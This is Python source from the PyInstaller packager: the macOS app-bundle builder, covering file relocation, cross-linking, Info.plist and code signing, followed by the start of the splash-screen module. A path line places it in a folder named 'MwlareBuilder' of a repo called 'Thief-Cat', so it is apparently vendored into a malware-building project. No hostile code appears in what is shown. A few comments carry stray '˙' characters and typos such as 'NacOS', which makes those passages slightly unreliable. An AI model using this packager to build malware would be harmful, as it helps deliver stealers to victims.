    #    `Versions/Current`. This rule is important for nested .framework bundles that we collect from python packages.
    #
    # Next, let us consider the consequences of violating each of the above requirements:
    #
    # 1. Code signing machinery can directly store signature only in Mach-O binaries and nested .framework bundles; if
    #    a data file is placed in `Contents/MacOS`, the signature is stored in the file's extended attributes. If the
    #    extended attributes are lost, the program's signature will be broken. Many file transfer techniques (e.g., a
    #    zip file) do not preserve extended attributes, nor are they preserved when uploading to the Mac App Store.
    #
    # 2. Putting code (a dylib or a .framework bundle) into `Contents/Resources` causes it to be treated as a resource;
    #    the outer signature (i.e., of the whole .app bundle) does not know that this nested content is actually a code.
    #    Consequently, signing the bundle with ˙codesign --deep` will NOT sign binaries placed in the
    #    `Contents/Resources`, which may result in missing signatures when .app bundle is verified for notarization.
    #    This might be worked around by signing each binary separately, and then signing the whole bundle (without the
    #    `--deep˙ option), but requires the user to keep track of the offending binaries.
    #
    # 3. If a directory in `Contents/MacOS` contains a dot in the name, code-signing the bundle fails with
    #    ˙bundle format unrecognized, invalid, or unsuitable` due to code signing machinery treating directory as a
    #    nested .framework bundle directory.
    #
    # 4. If nested .framework bundle is malformed, the signing of the .app bundle might succeed, but subsequent
    #    verification will fail, for example with `embedded framework contains modified or invalid version` (as observed
    #    with .framework bundles shipped by contemporary PyQt/PySide PyPI wheels).
    #
    # The above requirements are unfortunately often at odds with the structure of python packages:
    #
    # * In general, python packages are mixed-content directories, where binaries and data files may be expected to
    #   be found next to each other.
    #
    #   For example, `opencv-python` provides a custom loader script that requires the package to be collected in the
    #   source-only form by PyInstaller (i.e., the python modules and scripts collected as source .py files). At the
    #   same time, it expects the .py loader script to be able to find the binary extension next to itself.
    #
    #   Another example of mixed-mode directories are Qt QML components' sub-directories, which contain both the
    #   component's plugin (a binary) and associated meta files (data files).
    #
    # * In python world, the directories often contain dots in their names.
    #
    #   Dots are often used for private directories containing binaries that are shipped with a package. For example,
    #   `numpy/.dylibs`, `scipy/.dylibs`, etc.
    #
    #   Qt QML components may also contain a dot in their name; couple of examples from `PySide2` package:
    #   `PySide2/Qt/qml/QtQuick.2`, ˙PySide2/Qt/qml/QtQuick/Controls.2˙, ˙PySide2/Qt/qml/QtQuick/Particles.2˙, etc.
    #
    #   The packages' metadata directories also invariably contain dots in the name due to version (for example,
    #   `numpy-1.24.3.dist-info`).
    #
    # In the light of all above, PyInstaller attempts to strictly place all files to their mandated location
    # (`Contents/MacOS` or `Contents/Frameworks` vs `Contents/Resources`). To preserve the illusion of mixed-content
    # directories, the content is cross-linked from one directory to the other. Specifically:
    #
    # * All entries with DATA typecode are assumed to be data files, and are always placed in corresponding directory
    #   structure rooted in `Contents/Resources`.
    #
    # * All entries with BINARY or EXTENSION typecode are always placed in corresponding directory structure rooted in
    #   `Contents/Frameworks`.
    #
    # * All entries with EXECUTABLE are placed in `Contents/MacOS` directory.
    #
    # * For the purposes of relocation, nested .framework bundles are treated as a single BINARY entity; i.e., the
    #   whole .bundle directory is placed in corresponding directory structure rooted in `Contents/Frameworks` (even
    #   though some of its contents, such as `Info.plist` file, are actually data files).
    #
    # * Top-level data files and binaries are always cross-linked to the other directory. For example, given a data file
    #   `data_file.txt` that was collected into `Contents/Resources`, we create a symbolic link called
    #   `Contents/MacOS/data_file.txt` that points to `../Resources/data_file.txt`.
    #
    # * The executable itself, while placed in `Contents/MacOS`, are cross-linked into both `Contents/Framworks` and
    #   `Contents/Resources`.
    #
    # * The stand-alone PKG entries (used with onefile builds that side-load the PKG archive) are treated as data files
    #   and collected into `Contents/Resources`, but cross-linked only into `Contents/MacOS` directory (because they
    #   must appear to be next to the program executable). This is the only entry type that is cross-linked into the
    #   `Contents/MacOS` directory and also the only data-like entry type that is not cross-linked into the
    #   `Contents/Frameworks` directory.
    #
    # * For files in sub-directories, the cross-linking behavior depends on the type of directory:
    #
    #    * A data-only directory is created in directory structure rooted in `Contents/Resources`, and cross-linked
    #      into directory structure rooted in `Contents/Frameworks` at directory level (i.e., we link the whole
    #      directory instead of individual files).
    #
    #      This largely saves us from having to deal with dots in the names of collected metadata directories, which
    #      are examples of data-only directories.
    #
    #    * A binary-only directory is created in directory structure rooted in `Contents/Frameworks`, and cross-linked
    #      into `Contents/Resources` at directory level.
    #
    #    * A mixed-content directory is created in both directory structures. Files are placed into corresponding
    #      directory structure based on their type, and cross-linked into other directory structure at file level.
    #
    #    * This rule is applied recursively; for example, a data-only sub-directory in a mixed-content directory is
    #      cross-linked at directory level, while adjacent binary and data files are cross-linked at file level.
    #
    # * To work around the issue with dots in the names of directories in `Contents/Frameworks` (applicable to
    #   binary-only or mixed-content directories), such directories are created with modified name (the dot replaced
    #   with a pre-defined pattern). Next to the modified directory, a symbolic link with original name is created,
    #   pointing to the directory with modified name. With mixed-content directories, this modification is performed
    #   only on the `Contents/Frameworks` side; the corresponding directory in `Contents/Resources` can be created
    #   directly, without name modification and symbolic link.
    #
    # * If a symbolic link needs to be created in a mixed-content directory due to a SYMLINK entry from the original
    #   TOC (i.e., a "collected" symlink originating from analysis, as opposed to the cross-linking mechanism described
    #   above), the link is created in both directory structures, each pointing to the resource in its corresponding
    #   directory structure (with one such resource being an actual file, and the other being a cross-link to the file).
    #
    # Final remarks:
    #
    # NOTE: the relocation mechanism is codified by tests in `tests/functional/test_macos_bundle_structure.py`.
    #
    # NOTE: by placing binaries and nested .framework entries into `Contents/Frameworks` instead of `Contents/MacOS`,
    # we have effectively relocated the `sys._MEIPASS` directory from the `Contents/MacOS` (= the parent directory of
    # the program executable) into `Contents/Frameworks`. This requires the PyInstaller's bootloader to detect that it
    # is running in the app-bundle mode (e.g., by checking if program executable's parent directory is `Contents/NacOS`)
    # and adjust the path accordingly.
    #
    # NOTE: the implemented relocation mechanism depends on the input TOC containing properly classified entries
    # w.r.t. BINARY vs DATA. So hooks and .spec files triggering collection of binaries as datas (and vice versa) will
    # result in incorrect placement of those files in the generated .app bundle. However, this is *not* the proper place
    # to address such issues; if necessary, automatic (re)classification should be added to analysis process, to ensure
    # that BUNDLE (as well as other build targets) receive correctly classified TOC.
    #
    # NOTE: similar to the previous note, the relocation mechanism is also not the proper place to enforce compliant
    # structure of the nested .framework bundles. Instead, this is handled by the analysis process, using the
    # `PyInstaller.utils.osx.collect_files_from_framework_bundles` helper function. So the input TOC that BUNDLE
    # receives should already contain entries that reconstruct compliant nested .framework bundles.
    def _process_bundle_toc(self, toc):
        bundle_toc = []

        # Step 1: inspect the directory layout and classify the directories according to their contents.
        directory_types = dict()

        _MIXED_DIR_TYPE = 'MIXED-DIR'
        _DATA_DIR_TYPE = 'DATA-DIR'
        _BINARY_DIR_TYPE = 'BINARY-DIR'
        _FRAMEWORK_DIR_TYPE = 'FRAMEWORK-DIR'

        _TOP_LEVEL_DIR = pathlib.PurePath('.')

        for dest_name, src_name, typecode in toc:
            dest_path = pathlib.PurePath(dest_name)

            framework_dir = self._is_framework_file(dest_path)
            if framework_dir:
                # Mark the framework directory as FRAMEWORK-DIR.
                directory_types[framework_dir] = _FRAMEWORK_DIR_TYPE
                # Treat the framework directory as BINARY file when classifying parent directories.
                typecode = 'BINARY'
                parent_dirs = framework_dir.parents
            else:
                parent_dirs = dest_path.parents
                # Treat BINARY and EXTENSION as BINARY to simplify further processing.
                if typecode == 'EXTENSION':
                    typecode = 'BINARY'

            # (Re)classify parent directories
            for parent_dir in parent_dirs:
                # Skip the top-level `.` dir. This is also the only directory that can contain EXECUTABLE and PKG
                # entries, so we do not have to worry about.
                if parent_dir == _TOP_LEVEL_DIR:
                    continue

                directory_type = _BINARY_DIR_TYPE if typecode == 'BINARY' else _DATA_DIR_TYPE  # default
                directory_type = directory_types.get(parent_dir, directory_type)

                if directory_type == _DATA_DIR_TYPE and typecode == 'BINARY':
                    directory_type = _MIXED_DIR_TYPE
                if directory_type == _BINARY_DIR_TYPE and typecode == 'DATA':
                    directory_type = _MIXED_DIR_TYPE

                directory_types[parent_dir] = directory_type

        logger.debug("Directory classification: %r", directory_types)

        # Step 2: process the obtained directory structure and create symlink entries for directories that need to be
        # cross-linked. Such directories are data-only and binary-only directories (and framework directories) that are
        # located either in the top-level directory (have no parent) or in a mixed-content directory.
        for directory_path, directory_type in directory_types.items():
            # Cross-linking at directory level applies only to data-only and binary-only directories (as well as
            # framework directories).
            if directory_type == _MIXED_DIR_TYPE:
                continue

            # The parent needs to be either top-level directory or a mixed-content directory. Otherwise, the parent
            # (or one of its ancestors) will get cross-linked, and we do not need the link here.
            parent_dir = directory_path.parent
            requires_crosslink = parent_dir == _TOP_LEVEL_DIR or directory_types.get(parent_dir) == _MIXED_DIR_TYPE
            if not requires_crosslink:
                continue

            logger.debug("Cross-linking directory %r of type %r", directory_path, directory_type)

            # Data-only directories are created in `Contents/Resources`, needs to be cross-linked into `Contents/MacOS`.
            # Vice versa for binary-only or framework directories. The directory creation is handled implicitly, when we
            # create parent directory structure for collected files.
            if directory_type == _DATA_DIR_TYPE:
                symlink_src = os.path.join('Contents/Resources', directory_path)
                symlink_dest = os.path.join('Contents/Frameworks', directory_path)
            else:
                symlink_src = os.path.join('Contents/Frameworks', directory_path)
                symlink_dest = os.path.join('Contents/Resources', directory_path)
            symlink_ref = self._compute_relative_crosslink(symlink_dest, symlink_src)

            bundle_toc.append((symlink_dest, symlink_ref, 'SYMLINK'))

        # Step 3: first part of the work-around for directories that are located in `Contents/Frameworks` but contain a
        # dot in their name. As per `codesign` rules, the only directories in `Contents/Frameworks` that are allowed to
        # contain a dot in their name are .framework bundle directories. So we replace the dot with a custom character
        # sequence (stored in global `DOT_REPLACEMENT` variable), and create a symbolic with original name pointing to
        # the modified name. This is the best we can do with code-sign requirements vs. python community showing their
        # packages' dylibs into `.dylib` subdirectories, or Qt storing their Qml components in directories named
        # `QtQuick.2`, `QtQuick/Controls.2`, `QtQuick/Particles.2`, `QtQuick/Templates.2`, etc.
        #
        # In this step, we only prepare symlink entries that link the original directory name (with dot) to the modified
        # one (with dot replaced). The parent paths for collected files are modified in later step(s).
        for directory_path, directory_type in directory_types.items():
            # .framework bundle directories contain a dot in the name, but are allowed that.
            if directory_type == _FRAMEWORK_DIR_TYPE:
                continue

            # Data-only directories are fully located in `Contents/Resources` and cross-linked to `Contents/Frameworks`
            # at directory level, so they are also allowed a dot in their name.
            if directory_type == _DATA_DIR_TYPE:
                continue

            # Apply the work-around, if necessary...
            if '.' not in directory_path.name:
                continue

            logger.debug(
                "Creating symlink to work around the dot in the name of directory %r (%s)...", str(directory_path),
                directory_type
            )

            # Create a SYMLINK entry, but only for this level. In case of nested directories with dots in names, the
            # symlinks for ancestors will be created by corresponding loop iteration.
            bundle_toc.append((
                os.path.join('Contents/Frameworks', directory_path),
                directory_path.name.replace('.', DOT_REPLACEMENT),
                'SYMLINK',
            ))

        # Step 4: process the entries for collected files, and decide whether they should be placed into
        # `Contents/MacOS`, `Contents/Frameworks`, or `Contents/Resources`, and whether they should be cross-linked into
        # other directories.
        for orig_dest_name, src_name, typecode in toc:
            orig_dest_path = pathlib.PurePath(orig_dest_name)

            # Special handling for EXECUTABLE and PKG entries
            if typecode == 'EXECUTABLE':
                # Place into `Contents/MacOS`, ...
                file_dest = os.path.join('Contents/MacOS', orig_dest_name)
                bundle_toc.append((file_dest, src_name, typecode))
                # ... and do nothing else. We explicitly avoid cross-linking the executable to `Contents/Frameworks` and
                # `Contents/Resources`, because it should be not necessary (the executable's location should be
                # discovered via `sys.executable`) and to prevent issues when executable name collides with name of a
                # package from which we collect either binaries or data files (or both); see #7314.
                continue
            elif typecode == 'PKG':
                # Place into `Contents/Resources` ...
                file_dest = os.path.join('Contents/Resources', orig_dest_name)
                bundle_toc.append((file_dest, src_name, typecode))
                # ... and cross-link only into `Contents/MacOS`.
                # This is used only in `onefile` mode, where there is actually no other content to distribute among the
                # `Contents/Resources` and `Contents/Frameworks` directories, so cross-linking into the latter makes
                # little sense.
                symlink_dest = os.path.join('Contents/MacOS', orig_dest_name)
                symlink_ref = self._compute_relative_crosslink(symlink_dest, file_dest)
                bundle_toc.append((symlink_dest, symlink_ref, 'SYMLINK'))
                continue

            # Standard data vs binary processing...

            # Determine file location based on its type.
            if self._is_framework_file(orig_dest_path):
                # File from a framework bundle; put into `Contents/Frameworks`, but never cross-link the file itself.
                # The whole .framework bundle directory will be linked as necessary by the directory cross-linking
                # mechanism.
                file_base_dir = 'Contents/Frameworks'
                crosslink_base_dir = None
            elif typecode == 'DATA':
                # Data file; relocate to `Contents/Resources` and cross-link it back into `Contents/Frameworks`.
                file_base_dir = 'Contents/Resources'
                crosslink_base_dir = 'Contents/Frameworks'
            else:
                # Binary; put into `Contents/Frameworks` and cross-link it into `Contents/Resources`.
                file_base_dir = 'Contents/Frameworks'
                crosslink_base_dir = 'Contents/Resources'

            # Determine if we need to cross-link the file. We need to do this for top-level files (the ones without
            # parent directories), and for files whose parent directories are mixed-content directories.
            requires_crosslink = False
            if crosslink_base_dir is not None:
                parent_dir = orig_dest_path.parent
                requires_crosslink = parent_dir == _TOP_LEVEL_DIR or directory_types.get(parent_dir) == _MIXED_DIR_TYPE

            # Special handling for SYMLINK entries in original TOC; if we need to cross-link a symlink entry, we create
            # it in both locations, and have each point to the (relative) resource in the same directory (so one of the
            # targets will likely be a file, and the other will be a symlink due to cross-linking).
            if typecode == 'SYMLINK' and requires_crosslink:
                bundle_toc.append((os.path.join(file_base_dir, orig_dest_name), src_name, typecode))
                bundle_toc.append((os.path.join(crosslink_base_dir, orig_dest_name), src_name, typecode))
                continue

            # The file itself.
            file_dest = os.path.join(file_base_dir, orig_dest_name)
            bundle_toc.append((file_dest, src_name, typecode))

            # Symlink for cross-linking
            if requires_crosslink:
                symlink_dest = os.path.join(crosslink_base_dir, orig_dest_name)
                symlink_ref = self._compute_relative_crosslink(symlink_dest, file_dest)
                bundle_toc.append((symlink_dest, symlink_ref, 'SYMLINK'))

        # Step 5: sanitize all destination paths in the new TOC, to ensure that paths that are rooted in
        # `Contents/Frameworks` do not contain directories with dots in their names. Doing this as a post-processing
        # step keeps code simple and clean and ensures that this step is applied to files, symlinks that originate from
        # cross-linking files, and symlinks that originate from cross-linking directories. This in turn ensures that
        # all directory hierarchies created during the actual file collection have sanitized names, and that collection
        # outcome does not depend on the order of entries in the TOC.
        sanitized_toc = []
        for dest_name, src_name, typecode in bundle_toc:
            dest_path = pathlib.PurePath(dest_name)

            # Paths rooted in Contents/Resources do not require sanitizing.
            if dest_path.parts[0] == 'Contents' and dest_path.parts[1] == 'Resources':
                sanitized_toc.append((dest_name, src_name, typecode))
                continue

            # Special handling for files from .framework bundle directories; sanitize only parent path of the .framework
            # directory.
            framework_path = self._is_framework_file(dest_path)
            if framework_path:
                parent_path = framework_path.parent
                remaining_path = dest_path.relative_to(parent_path)
            else:
                parent_path = dest_path.parent
                remaining_path = dest_path.name

            sanitized_dest_path = pathlib.PurePath(
                *parent_path.parts[:2],  # Contents/Frameworks
                *[part.replace('.', DOT_REPLACEMENT) for part in parent_path.parts[2:]],
                remaining_path,
            )
            sanitized_dest_name = str(sanitized_dest_path)

            if sanitized_dest_path != dest_path:
                logger.debug("Sanitizing dest path: %r -> %r", dest_name, sanitized_dest_name)

            sanitized_toc.append((sanitized_dest_name, src_name, typecode))

        bundle_toc = sanitized_toc

        # Normalize and sort the TOC for easier inspection
        bundle_toc = sorted(normalize_toc(bundle_toc))

        return bundle_toc

    def assemble(self):
        from PyInstaller.config import CONF

        if _check_path_overlap(self.name) and os.path.isdir(self.name):
            _rmtree(self.name)

        logger.info("Building BUNDLE %s", self.tocbasename)

        # Create a minimal Mac bundle structure.
        os.makedirs(os.path.join(self.name, "Contents", "MacOS"))
        os.makedirs(os.path.join(self.name, "Contents", "Resources"))
        os.makedirs(os.path.join(self.name, "Contents", "Frameworks"))

        # Makes sure the icon exists and attempts to convert to the proper format if applicable
        self.icon = normalize_icon_type(self.icon, ("icns",), "icns", CONF["workpath"])

        # Ensure icon path is absolute
        self.icon = os.path.abspath(self.icon)

        # Copy icns icon to Resources directory.
        shutil.copyfile(self.icon, os.path.join(self.name, 'Contents', 'Resources', os.path.basename(self.icon)))

        # Key/values for a minimal Info.plist file
        info_plist_dict = {
            "CFBundleDisplayName": self.appname,
            "CFBundleName": self.appname,

            # Required by 'codesign' utility.
            # The value for CFBundleIdentifier is used as the default unique name of your program for Code Signing
            # purposes. It even identifies the APP for access to restricted OS X areas like Keychain.
            #
            # The identifier used for signing must be globally unique. The usual form for this identifier is a
            # hierarchical name in reverse DNS notation, starting with the toplevel domain, followed by the company
            # name, followed by the department within the company, and ending with the product name. Usually in the
            # form: com.mycompany.department.appname
            # CLI option --osx-bundle-identifier sets this value.
            "CFBundleIdentifier": self.bundle_identifier,
            "CFBundleExecutable": os.path.basename(self.exename),
            "CFBundleIconFile": os.path.basename(self.icon),
            "CFBundleInfoDictionaryVersion": "6.0",
            "CFBundlePackageType": "APPL",
            "CFBundleShortVersionString": self.version,
        }

        # Set some default values. But they still can be overwritten by the user.
        if self.console:
            # Setting EXE console=True implies LSBackgroundOnly=True.
            info_plist_dict['LSBackgroundOnly'] = True
        else:
            # Let's use high resolution by default.
            info_plist_dict['NSHighResolutionCapable'] = True

        # Merge info_plist settings from spec file
        if isinstance(self.info_plist, dict) and self.info_plist:
            info_plist_dict.update(self.info_plist)

        plist_filename = os.path.join(self.name, "Contents", "Info.plist")
        with open(plist_filename, "wb") as plist_fh:
            plistlib.dump(info_plist_dict, plist_fh)

        # Pre-process the TOC into its final BUNDLE-compatible form.
        bundle_toc = self._process_bundle_toc(self.toc)

        # Perform the actual collection.
        CONTENTS_FRAMEWORKS_PATH = pathlib.PurePath('Contents/Frameworks')
        for dest_name, src_name, typecode in bundle_toc:
            # Create parent directory structure, if necessary
            dest_path = os.path.join(self.name, dest_name)  # Absolute destination path
            dest_dir = os.path.dirname(dest_path)
            try:
                os.makedirs(dest_dir, exist_ok=True)
            except FileExistsError:
                raise SystemExit(
                    f"PyInstaller needs to create a directory at {dest_dir!r}, "
                    "but there already exists a file at that path!"
                )
            # Copy extensions and binaries from cache. This ensures that these files undergo additional binary
            # processing - have paths to linked libraries rewritten (relative to `@rpath`) and have rpath set to the
            # top-level directory (relative to `@loader_path`, i.e., the file's location). The "top-level" directory
            # in this case corresponds to `Contents/MacOS` (where `sys._MEIPASS` also points), so we need to pass
            # the cache retrieval function the *original* destination path (which is without preceding
            # `Contents/MacOS`).
            if typecode in ('EXTENSION', 'BINARY'):
                orig_dest_name = str(pathlib.PurePath(dest_name).relative_to(CONTENTS_FRAMEWORKS_PATH))
                src_name = process_collected_binary(
                    src_name,
                    orig_dest_name,
                    use_strip=self.strip,
                    use_upx=self.upx,
                    upx_exclude=self.upx_exclude,
                    target_arch=self.target_arch,
                    codesign_identity=self.codesign_identity,
                    entitlements_file=self.entitlements_file,
                    strict_arch_validation=(typecode == 'EXTENSION'),
                )
            if typecode == 'SYMLINK':
                os.symlink(src_name, dest_path)  # Create link at dest_path, pointing at (relative) src_name
            else:
                # BUNDLE does not support MERGE-based multipackage
                assert typecode != 'DEPENDENCY', "MERGE DEPENDENCY entries are not supported in BUNDLE!"

                # At this point, `src_name` should be a valid file.
                if not os.path.isfile(src_name):
                    raise ValueError(f"Resource {src_name!r} is not a valid file!")
                # If strict collection mode is enabled, the destination should not exist yet.
                if strict_collect_mode and os.path.exists(dest_path):
                    raise ValueError(
                        f"Attempting to collect a duplicated file into BUNDLE: {dest_name} (type: {typecode})"
                    )
                # Use `shutil.copyfile` to copy file with default permissions. We do not attempt to preserve original
                # permissions nor metadata, as they might be too restrictive and cause issues either during subsequent
                # re-build attempts or when trying to move the application bundle. For binaries (and data files with
                # executable bit set), we manually set the executable bits after copying the file.
                shutil.copyfile(src_name, dest_path)
            if (
                typecode in ('EXTENSION', 'BINARY', 'EXECUTABLE')
                or (typecode == 'DATA' and os.access(src_name, os.X_OK))
            ):
                os.chmod(dest_path, 0o755)

        # Sign the bundle
        logger.info('Signing the BUNDLE...')
        try:
            osxutils.sign_binary(self.name, self.codesign_identity, self.entitlements_file, deep=True)
        except Exception as e:
            # Display a warning or re-raise the error, depending on the environment-variable setting.
            if os.environ.get("PyInstaller_STRICT_BUNDLE_CODESIGN_ERROR", "0") == "0":
                logger.warning("Error while signing the bundle: %s", e)
                logger.warning("You will need to sign the bundle manually!")
            else:
                raise RuntimeError("Failed to codesign the bundle!") from e

        logger.info("Building BUNDLE %s completed successfully.", self.tocbasename)

        # Optionally verify bundle's signature. This is primarily intended for our CI.
        if os.environ.get("PyInstaller_VERIFY_BUNDLE_SIGNATURE", "0") != "0":
            logger.info("Verifying signature for BUNDLE %s...", self.name)
            self.verify_bundle_signature(self.name)
            logger.info("BUNDLE verification complete!")

    @staticmethod
    def verify_bundle_signature(bundle_dir):
        # First, verify the bundle signature using codesign.
        cmd_args = ['codesign', '--verify', '--all-architectures', '--deep', '--strict', bundle_dir]
        p = subprocess.run(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
        if p.returncode:
            raise SystemError(
                f"codesign command ({cmd_args}) failed with error code {p.returncode}!\noutput: {p.stdout}"
            )

        # Ensure that code-signing information is *NOT* embedded in the files' extended attributes.
        #
        # This happens when files other than binaries are present in `Contents/MacOS` or `Contents/Frameworks`
        # directory; as the signature cannot be embedded within the file itself (contrary to binaries with
        # `LC_CODE_SIGNATURE` section in their header), it ends up stores in the file's extended attributes. However,
        # if such bundle is transferred using a method that does not support extended attributes (for example, a zip
        # file), the signatures on these files are lost, and the signature of the bundle as a whole becomes invalid.
        # This is the primary reason why we need to relocate non-binaries into `Contents/Resources` - the signatures
        # for files in that directory end up stored in `Contents/_CodeSignature/CodeResources` file.
        #
        # This check therefore aims to ensure that all files have been properly relocated to their corresponding
        # locations w.r.t. the code-signing requirements.

        try:
            import xattr
        except ModuleNotFoundError:
            logger.info("xattr package not available; skipping verification of extended attributes!")
            return

        CODESIGN_ATTRS = (
            "com.apple.cs.CodeDirectory",
            "com.apple.cs.CodeRequirements",
            "com.apple.cs.CodeRequirements-1",
            "com.apple.cs.CodeSignature",
        )

        for entry in pathlib.Path(bundle_dir).rglob("*"):
            if not entry.is_file():
                continue

            file_attrs = xattr.listxattr(entry)
            if any([codesign_attr in file_attrs for codesign_attr in CODESIGN_ATTRS]):
                raise ValueError(f"Code-sign attributes found in extended attributes of {str(entry)!r}!")

ThiefCat_assets/MwlareBuilder/building/osx.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
# -----------------------------------------------------------------------------
import io
import os
import re
import struct
import pathlib

from PyInstaller import log as logging
from PyInstaller.archive.writers import SplashWriter
from PyInstaller.building import splash_templates
from PyInstaller.building.datastruct import Target
from PyInstaller.building.utils import _check_guts_eq, _check_guts_toc, misc
from PyInstaller.compat import is_darwin
from PyInstaller.depend import bindepend
from PyInstaller.utils.hooks import tcl_tk as tcltk_utils

try:
    from PIL import Image as PILImage
except ImportError:
    PILImage = None

logger = logging.getLogger(__name__)

# These requirement files are checked against the current splash screen script. If you wish to modify the splash screen
# and run into tcl errors/bad behavior, this is a good place to start and add components your implementation of the
# splash screen might use.
# NOTE: these paths use the *destination* layout for Tcl/Tk scripts, which uses unversioned tcl and tk directories
# (see `PyInstaller.utils.hooks.tcl_tk.collect_tcl_tk_files`).
splash_requirements = [
    # prepended tcl/tk binaries
    os.path.join(tcltk_utils.TK_ROOTNAME, "license.terms"),
    os.path.join(tcltk_utils.TK_ROOTNAME, "text.tcl"),
    os.path.join(tcltk_utils.TK_ROOTNAME, "tk.tcl"),
    # Used for customizable font
    os.path.join(tcltk_utils.TK_ROOTNAME, "ttk", "ttk.tcl"),
    os.path.join(tcltk_utils.TK_ROOTNAME, "ttk", "fonts.tcl"),
    os.path.join(tcltk_utils.TK_ROOTNAME, "ttk", "cursors.tcl"),
    os.path.join(tcltk_utils.TK_ROOTNAME, "ttk", "utils.tcl"),
]


class Splash(Target):
    """
    Bundles the required resources for the splash screen into a file, which will be included in the CArchive.

    A Splash has two outputs, one is itself and one is stored in splash.binaries. Both need to be passed to other
    build targets in order to enable the splash screen.
    """
    def __init__(self, image_file, binaries, datas, **kwargs):
        """
        :param str image_file:
            A path-like object to the image to be used. Only the PNG file format is supported.

            .. note:: If a different file format is supplied and PIL (Pillow) is installed, the file will be converted
                automatically.

            .. note:: *Windows*: The color ``'magenta'`` / ``'#ff00ff'`` must not be used in the image or text, as it is
                used by splash screen to indicate transparent areas. Use a similar color (e.g., ``'#ff00fe'``) instead.

            .. note:: If PIL (Pillow) is installed and the image is bigger than max_img_size, the image will be resized
                to fit into the specified area.
        :param list binaries:
            The TOC list of binaries the Analysis build target found. This TOC includes all extension modules and their
            binary dependencies. This is required to determine whether the user's program uses `tkinter`.
        :param list datas:
            The TOC list of data the Analysis build target found. This TOC includes all data-file dependencies of the
            modules. This is required to check if all splash screen requirements can be bundled.

        :keyword text_pos:
            An optional two-integer tuple that represents the origin of the text on the splash screen image. The
            origin of the text is its lower left corner. A unit in the respective coordinate system is a pixel of the
            image, its origin lies in the top left corner of the image. This parameter also acts like a switch for
            the text feature. If omitted, no text will be displayed on the splash screen. This text will be used to
            show textual progress in onefile mode.
        :type text_pos: Tuple[int, int]
        :keyword text_size:
            The desired size of the font. If the size argument is a positive number, it is interpreted as a size in
            points. If size is a negative number, its absolute value is interpreted as a size in pixels. Default: ``12``
        :type text_size: int
        :keyword text_font:
            An optional name of a font for the text. This font must be installed on the user system, otherwise the
            system default font is used. If this parameter is omitted, the default font is also used.
        :keyword text_color:
            An optional color for the text. HTML color codes (``'#40e0d0'``) and color names (``'turquoise'``) are
            supported. Default: ``'black'``
            (Windows: the color ``'magenta'`` / ``'#ff00ff'`` is used to indicate transparency, and should not be used)
        :type text_color: str
        :keyword text_default:
            The default text which will be displayed before the extraction starts. Default: ``"Initializing"``
        :type text_default: str
        :keyword full_tk:
            By default Splash bundles only the necessary files for the splash screen (some tk components). This
            options enables adding full tk and making it a requirement, meaning all tk files will be unpacked before
            the splash screen can be started. This is useful during development of the splash screen script.
            Default: ``False``
        :type full_tk: bool
        :keyword minify_script:
            The splash screen is created by executing an Tcl/Tk script. This option enables minimizing the script,
            meaning removing all non essential parts from the script. Default: ``True``
        :keyword rundir:
            The folder name in which tcl/tk will be extracted at runtime. There should be no matching folder in your
            application to avoid conflicts. Default:  ``'__splash'``
        :type rundir: str
        :keyword name:
            An optional alternative filename for the .res file. If not specified, a name is generated.
        :type name: str
        :keyword script_name:
            An optional alternative filename for the Tcl script, that will be generated. If not specified, a name is
            generated.
        :type script_name: str
        :keyword max_img_size:
            Maximum size of the splash screen image as a tuple. If the supplied image exceeds this limit, it will be
            resized to fit the maximum width (to keep the original aspect ratio). This option can be disabled by
            setting it to None. Default: ``(760, 480)``
        :type max_img_size: Tuple[int, int]
        :keyword always_on_top:
            Force the splashscreen to be always on top of other windows. If disabled, other windows (e.g., from other
            applications) can cover the splash screen by user bringing them to front. This might be useful for
            frozen applications with long startup times. Default: ``True``
        :type always_on_top: bool
        """
        from ..config import CONF
        Target.__init__(self)

        # Splash screen is not supported on macOS. It operates in a secondary thread and macOS disallows UI operations
        # in any thread other than main.
        if is_darwin:
            raise SystemExit("Splash screen is not supported on macOS.")

        # Make image path relative to .spec file
        if not os.path.isabs(image_file):
            image_file = os.path.join(CONF['specpath'], image_file)
        image_file = os.path.normpath(image_file)
        if not os.path.exists(image_file):
            raise ValueError("Image file '%s' not found" % image_file)

        # Copy all arguments
        self.image_file = image_file
        self.full_tk = kwargs.get("full_tk", False)
        self.name = kwargs.get("name", None)
        self.script_name = kwargs.get("script_name", None)
        self.minify_script = kwargs.get("minify_script", True)
        self.rundir = kwargs.get("rundir", None)
        self.max_img_size = kwargs.get("max_img_size", (760, 480))

        # text options
        self.text_pos = kwargs.get("text_pos", None)
        self.text_size = kwargs.get("text_size", 12)
        self.text_font = kwargs.get("text_font", "TkDefaultFont")
        self.text_color = kwargs.get("text_color", "black")
        self.text_default = kwargs.get("text_default", "Initializing")

        # always-on-top behavior
        self.always_on_top = kwargs.get("always_on_top", True)

        # Save the generated file separately so that it is not necessary to generate the data again and again
        root = os.path.splitext(self.tocfilename)[0]
        if self.name is None:
            self.name = root + '.res'
        if self.script_name is None:
            self.script_name = root + '_script.tcl'

        if self.rundir is None:
            self.rundir = self._find_rundir(binaries + datas)

        # Internal variables
        try:
            # Do not import _tkinter at the toplevel, because on some systems _tkinter will fail to load, since it is
            # not installed. This would cause a runtime error in PyInstaller, since this module is imported from
            # build_main.py, instead we just want to inform the user that the splash screen feature is not supported on
            # his platform
            import _tkinter
            self._tkinter_module = _tkinter
            self._tkinter_file = self._tkinter_module.__file__
        except ModuleNotFoundError:
            raise SystemExit(
                "Your platform does not support the splash screen feature, since tkinter is not installed. Please "
                "install tkinter and try again."
            )

        # Calculated / analysed values
        self.uses_tkinter = self._uses_tkinter(self._tkinter_file, binaries)
        logger.debug("Program uses tkinter: %r", self.uses_tkinter)
        self.script = self.generate_script()
        self.tcl_lib, self.tk_lib = tcltk_utils.find_tcl_tk_shared_libs(self._tkinter_file)
        if is_darwin:
            # Outdated Tcl/Tk 8.5 system framework is not supported. Depending on macOS version, the library path will
            # come up empty (hidden system libraries on Big Sur), or will be
            # [/System]/Library/Frameworks/Tcl.framework/Tcl
            if self.tcl_lib[1] is None or 'Library/Frameworks/Tcl.framework' in self.tcl_lib[1]:
